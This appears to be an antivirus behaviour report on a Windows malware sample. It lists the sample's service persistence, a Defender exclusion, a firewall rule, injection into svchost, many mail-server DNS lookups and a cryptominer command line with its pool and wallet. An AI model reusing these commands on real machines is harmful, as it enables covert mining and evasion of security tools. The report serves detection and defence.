Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ewfmzjis] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ewfmzjis] 'ImagePath' = '%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ewfmzjis] 'ImagePath' = '%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ewfmzjis' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\lykhansc.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\lykhansc.exe to %WINDIR%\syswow64\ewfmzjis\lykhansc.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://89.##.105.12/ip.shtml
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK pf##er.com
- DNS ASK sh#w.ca
- DNS ASK sm##.##b.shawcable.net
- DNS ASK na##es.fr
- DNS ASK ma##.###tes.fr.alinto.com
- DNS ASK he###odie.com
- DNS ASK mx.###woodie.com
- DNS ASK he##.net
- DNS ASK aspmx.l.google.com
- DNS ASK ve##zon.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK at###obal.net
- DNS ASK mx####.carrierzone.com
- DNS ASK he##.com
- DNS ASK am###tech.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK va###eersum.nl
- DNS ASK mx#.###.#ailpod4-cph3.one.com
- DNS ASK sh###ku.co.uk
- DNS ASK fi####.#rome-hosting.com
- DNS ASK sg.#bm.com
- DNS ASK mx#.##ercito.mil.ar
- DNS ASK ca###er.utc.com
- DNS ASK ej###ito.mil.ar
- DNS ASK ku###own.edu
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.es
- DNS ASK in#.#anadoo.es
- DNS ASK wa##ik.net
- DNS ASK mx#.###.#ailpod2-cph3.one.com
- DNS ASK wy##h.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK wa######radisehawaii.com
- DNS ASK do###ite.co.uk
- DNS ASK mx.####rnet-mail.co.uk
- DNS ASK he#####el-bretten.de
- DNS ASK dh####.emig.gmx.net
- DNS ASK pe#####araviation.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK he##z.com
- DNS ASK mx.########ity.com.cust.hostedemail.com
- DNS ASK tc##ay.tc
- DNS ASK mx##.#pcmail.net
- DNS ASK te###.com.br
- DNS ASK vi#####br-mx.terra.com
- DNS ASK ba#####da.kutztown.edu
- DNS ASK sh##tel.net
- DNS ASK ba######a.cloud.shentel.net
- DNS ASK tu##er.com
- DNS ASK he###hsouth.com
- DNS ASK hp##.##althsouth.com
- DNS ASK vi##ost.com
- DNS ASK ma##.#ivhost.com
- DNS ASK ti###linet.it
- DNS ASK im#####ncialgroup.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK bu###sand.com
- DNS ASK mx######02601.pphosted.com
- DNS ASK an##em.com
- DNS ASK vi##ua.org
- DNS ASK do###iten.at
- DNS ASK mx##.#spgateway.de
- DNS ASK fo####sgroup.com
- DNS ASK mx#######e03.gslb.pphosted.com
- DNS ASK pa##er.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK do####tenkasperl.at
- DNS ASK al####.uberspace.de
- DNS ASK ja##ar.com
- DNS ASK ma##.#zshk.com.hk
- DNS ASK vi##in.com
- DNS ASK pz###.com.hk
- DNS ASK ma##.##computing.net
- DNS ASK wa##ie.net
- DNS ASK to###ertyre.com
- DNS ASK mx##.#hinaemail.cn
- DNS ASK mc##i.com
- DNS ASK sm######.mc.a.cloudfilter.net
- DNS ASK ex###mobil.com
- DNS ASK ma####.exxonmobil.com
- DNS ASK qe##.com
- DNS ASK ca####llegacm.com
- DNS ASK mx##.1and1.es
- DNS ASK d6#####.##s.barracudanetworks.com
- DNS ASK pb####1.pobox.com
- DNS ASK po##x.com
- DNS ASK ma###.#aint-gobain.com
- DNS ASK to##kk.com
- DNS ASK mx.##ntent.com
- DNS ASK vi#.#ina.com
- DNS ASK mx#.##p.sina.com
- DNS ASK ad##ess.com
- DNS ASK ma####.mailtwo.com
- DNS ASK ha###burton.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK sa####gobain.com
- DNS ASK pr#######t-agent1.virtua.org
- DNS ASK un###-inc.com
- DNS ASK li##ro.it
- DNS ASK ho###nders.ch
- DNS ASK al###.mx.genotec.ch
- DNS ASK ju##y.it
- DNS ASK do##ain.com
- DNS ASK ma##.#olmain.com
- DNS ASK ho###il.co.uk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ku##i.ch
- DNS ASK ti#.it
- DNS ASK mx.#im.it
- DNS ASK pi##ti.ch
- DNS ASK mx#.###l.hostpoint.ch
- DNS ASK bi##ond.com
- DNS ASK ex####l.bigpond.com
- DNS ASK do###guel.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK ix.##tcom.com
- DNS ASK mx#.##rthlink.net
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK st####enopfer.ch
- DNS ASK sm###in.sfr.fr
- DNS ASK we#.de
- DNS ASK 9o##ine.fr
- DNS ASK bm##.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK dt##om.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK dt####.###.mx1.greymail.rcimx.net
- DNS ASK lo####-bio-tec.de
- DNS ASK ya##o.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK dr###edds.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK as#.##flexion.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK hk.####n.herominers.com
- DNS ASK google.com
- DNS ASK ca##ma.nl
- DNS ASK mx.##.##il.iss.as9143.net
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK m1##h.de
- DNS ASK mx##.schlund.de
- DNS ASK pr####1.bmts.com
- DNS ASK mx###03.web.de
- DNS ASK do##ins.com
- DNS ASK do#########.mail.protection.outlook.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ro#####ervicegroup.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK po##sci.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK se##a.it
- DNS ASK re###.sella.it
- DNS ASK ac##web.it
- DNS ASK mx.##erweb.it
- DNS ASK sc##fic.ca
- DNS ASK to#####tiscalinet.it
- DNS ASK sm####n.libero.it
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ya##o.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK do##ak.sk
- DNS ASK ma####.mx-hub.cz
- DNS ASK us.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK pe###epc.com
- DNS ASK lv##a.com
- DNS ASK mx#.#anmail.net
- DNS ASK ha##ail.net
- DNS ASK ma##.#olmance.com
- DNS ASK di#.it
- DNS ASK we###rlaw.ch
- DNS ASK bt###nworld.com
- DNS ASK mx.##.#topenworld.com
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK mi###pring.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ya##o.es
- DNS ASK ga###ttaht.it
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK t-####ecurity.com
- DNS ASK ar####.#heemaillaundry.net
- DNS ASK ro###sperea.com
- DNS ASK mx.####iciodecorreo.es
- DNS ASK yh##o.it
- DNS ASK do###nce.com
- DNS ASK
- DNS ASK ch####ro.univr.it
- DNS ASK si##pa.it
- DNS ASK mx#######e01.gslb.pphosted.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ewfmzjis\lykhansc.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ewfmzjis\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lykhansc.exe" %WINDIR%\SysWOW64\ewfmzjis\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ewfmzjis binPath= "%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ewfmzjis "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ewfmzjis' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ewfmzjis\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lykhansc.exe" %WINDIR%\SysWOW64\ewfmzjis\
- '%WINDIR%\syswow64\sc.exe' create ewfmzjis binPath= "%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ewfmzjis "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ewfmzjis
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k